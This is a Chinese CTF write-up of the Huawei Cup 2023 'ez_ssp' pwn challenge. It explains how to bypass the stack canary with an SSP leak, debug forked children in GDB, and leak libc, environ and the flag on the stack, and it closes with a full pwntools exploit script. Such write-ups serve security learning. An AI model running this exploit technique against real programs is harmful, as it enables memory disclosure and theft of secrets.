【华为杯 2023】ez_ssp
收获
利用 glibc-all-in-one 和 patchelf 修改二进制文件的 libc 版本
GDB 进行多进程的调试方法
利用 SSP Leak 绕过 Canary,修改
__fortify_fail
函数中要输出的变量__libc_argv[0]
的地址,故意触发 Canary 保护实现任意地址读libc 中存在着一个
environ
函数,它是一个全局变量,储存着系统的环境变量,通过泄露environ
的真实地址处的值可以得到栈上存储的环境变量的首地址
今天整理笔记的时候找例题突然想起了去年华为杯有一道类似的题,不过链接早就不记得啦,需要原题二进制文件的去网上搜搜看有没有吧,或者邮箱找我要也可以
思路
由于是本地复现,这个 SSP Leak 依赖于 Glibc 版本,详情可查看本站《Bypass安全机制》一文的《SSP Leak 绕过 Canary》部分
因此,我们需要先使用 patchelf 更改题目的二进制程序使用的 libc 版本,具体操作详情可查看本站《Pwntools与exp技巧》一文的《glibc-all-in-one 和 patchelf》部分
该题给出了 Glibc 版本为 2.23
由于 SSP Leak 在 Ubuntu 22.04 本地是无法复现的,因为 Glibc 2.35 修复了这个问题(不过 Ubuntu 16.04 的 Glibc 2.23 可以)
首先通过 glibc-all-in-one 下载 2.23-0ubuntu11.3_amd64
版本的 libc,并通过 patchelf 替换:
安全机制:
在 IDA 下分析:
程序会先打开本地的 flag 文件并读取内容,保存到 s
中,s
位于栈上
由于我们本地没有 flag 文件,所以需要自己创建一个,否则程序运行会报错,我们也无法进行调试
flag 内容随便写:
首先根据 v3
生成随机数 v7
,然后将我们输入的 buf
与 v7
一起作为 sub_400A65()
的参数:
可以看到这个函数也是用来生成随机数的,将随机数返回赋值给 v9
然后将 flag 和 v9
一起执行 sub_400AB0(s, v9, 50)
,根据前面读取 flag 的长度为 0x32
可以得知,这里的 50
是读取 flag 的长度
这个函数将 flag 的每一位与随机数 v9
进行了异或,差不多可以理解为异或加密了一下
然后有一个 for 循环,可以循环 3 次,每次都会通过 fork()
函数生成一个子进程
注意:子进程崩溃不会导致父进程退出
因此我们相当于有 3 次覆盖 Canary 的机会,但是想修改返回地址依然是没有意义的,因为子进程会崩溃
每轮循环有两次输入,第一个 buf
处明显没有溢出,但第二个 gets(v12)
存在明显溢出
栈中的情况:
静态信息获取差不多了,接下来就需要进行动态调试了
注意,这里涉及到多进程,需要进行多进程的 GDB 动态调试,如果不熟悉的话,可以看看本站《GDB的基础和使用》一文中的《fork 多进程调试》部分
为了便于我们调试,我们首先将 GDB 设置如下:
(gdb) set follow-fork-mode child # fork 之后调试子进程,父进程不受影响
(gdb) set detach-on-fork off # 同时调试父进程和子进程
然后在 gets()
的 0x400CAC
处下断点:
第一个输入不存在溢出,我这里输入 uf4te
第二个输入需要计算偏移,我这里输入 aaaaaaaa
根据触发 Canary 会输出文件名,RBP 下面那一串文件路径就是我们所说的 __libc_argv[0]
,也可以在 GDB 中进行验证:
计算偏移得到第二次输入与 __libc_argv[0]
之间的距离,需要填充 0x128
个垃圾字符进行覆盖
虽然程序没有开 PIE,但是栈地址是随机的,因此我们还需要用到 libc 中的 environ
函数帮助我们计算栈偏移
关于
environ
函数的详细介绍见本站的《Bypass安全机制》一文中《SSP Leak 绕过 Canary》部分
因此,我们需要首先获取 environ
函数的真实地址,这里选择先泄露一个 read()
函数的真实地址,然后进行 libc 基地址的计算即可
将 __libc_argv[0]
覆盖为 read_got_addr
,然后由于触发 Canary 会将 read()
函数的真实地址泄露出来
计算得到 environ
函数的真实地址后,再将 __libc_argv[0]
覆盖为 environ
函数的真实地址,泄露出栈上环境变量的首地址
在栈中可以进行验证:
往上翻可以看到 flag 存储的位置
计算栈上环境变量的首地址与 flag 存储位置之间的偏移
因此 flag_addr = stack_addr - 0x178
第三次循环我们直接将 __libc_argv[0]
覆盖为 flag_addr
,将 flag 打印出来
不过这里的 flag 是加密后的,我们再将其异或还原即可
由于异或的参数与随机数有关,记得将 random id
记录下来:
脚本
from pwn import *
# 设置系统架构, 打印调试信息
# arch 可选 : i386 / amd64 / arm / mips
context(os='linux', arch='amd64', log_level='debug')
# PWN 远程 : content = 0, PWN 本地 : content = 1
content = 1
elf = ELF("./pwn")
libc = ELF("/opt/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
if content == 1:
# 将本地的 Linux 程序启动为进程 io
io = process("./pwn")
# 附加 gdb 调试
def debug(cmd=""):
if content == 1: # 只有本地才可调试,远程无法调试
gdb.attach(io, cmd)
pause()
# 用 read_got_addr 覆盖 __libc_argv[0] 泄露 read 函数的真实地址
io.recvuntil(b"What's your name?\n")
io.sendline("uf4te")
read_got_addr = elf.got['read']
io.recvuntil(b'What do you want to do?\n')
payload = b'a' * 0x128 + p64(read_got_addr)
io.sendline(payload)
io.recvuntil(b'*** stack smashing detected ***: ')
read_addr = u64(io.recv(6).ljust(8, b'\x00'))
print("read_addr -->", hex(read_addr))
# 根据 read 函数的真实地址计算 libc 基地址,同时得到 environ 的真实地址
libcbase = read_addr - libc.symbols['read']
environ_addr = libcbase + libc.symbols['environ']
print("environ_addr -->", hex(environ_addr))
# 用 environ 的真实地址覆盖 __libc_argv[0] 泄露栈上环境变量的首地址
io.recvuntil(b"What's your name?\n")
io.sendline("uf4te")
io.recvuntil(b'What do you want to do?\n')
payload = b'a' * 0x128 + p64(environ_addr)
io.sendline(payload)
io.recvuntil(b'*** stack smashing detected ***: ')
stack_addr = u64(io.recv(6).ljust(8, b'\x00'))
print("stack_addr -->", hex(stack_addr))
# 由于栈上环境变量的首地址与 flag 在栈上的位置相距 0x178,计算 flag 在栈上的真实地址
flag_addr = stack_addr - 0x178
print("flag_addr -->", hex(flag_addr))
# 用 flag 在栈上的真实地址覆盖 __libc_argv[0] 泄露加密后的 flag
io.recvuntil(b"What's your name?\n")
io.sendline("uf4te")
io.recvuntil(b'Your random id is: ')
# 由于 flag 的加密与生成的随机数有关,注意到这个随机数是不变的,获取随机数
random = int(io.recvuntil(b'\n', drop=b'\n'))
print("random id -->", random)
io.recvuntil(b'What do you want to do?\n')
# debug()
payload = b'a' * 0x128 + p64(flag_addr)
io.sendline(payload)
io.recvuntil(b'*** stack smashing detected ***: ')
flag_enc = io.recv(50).decode()
print("flag_enc -->", flag_enc)
# flag 的加密是简单的异或,因此异或解密还原 flag
flag = ""
for i in range(50):
flag += chr(ord(flag_enc[i]) ^ random)
print(flag)
# 与远程交互
io.interactive()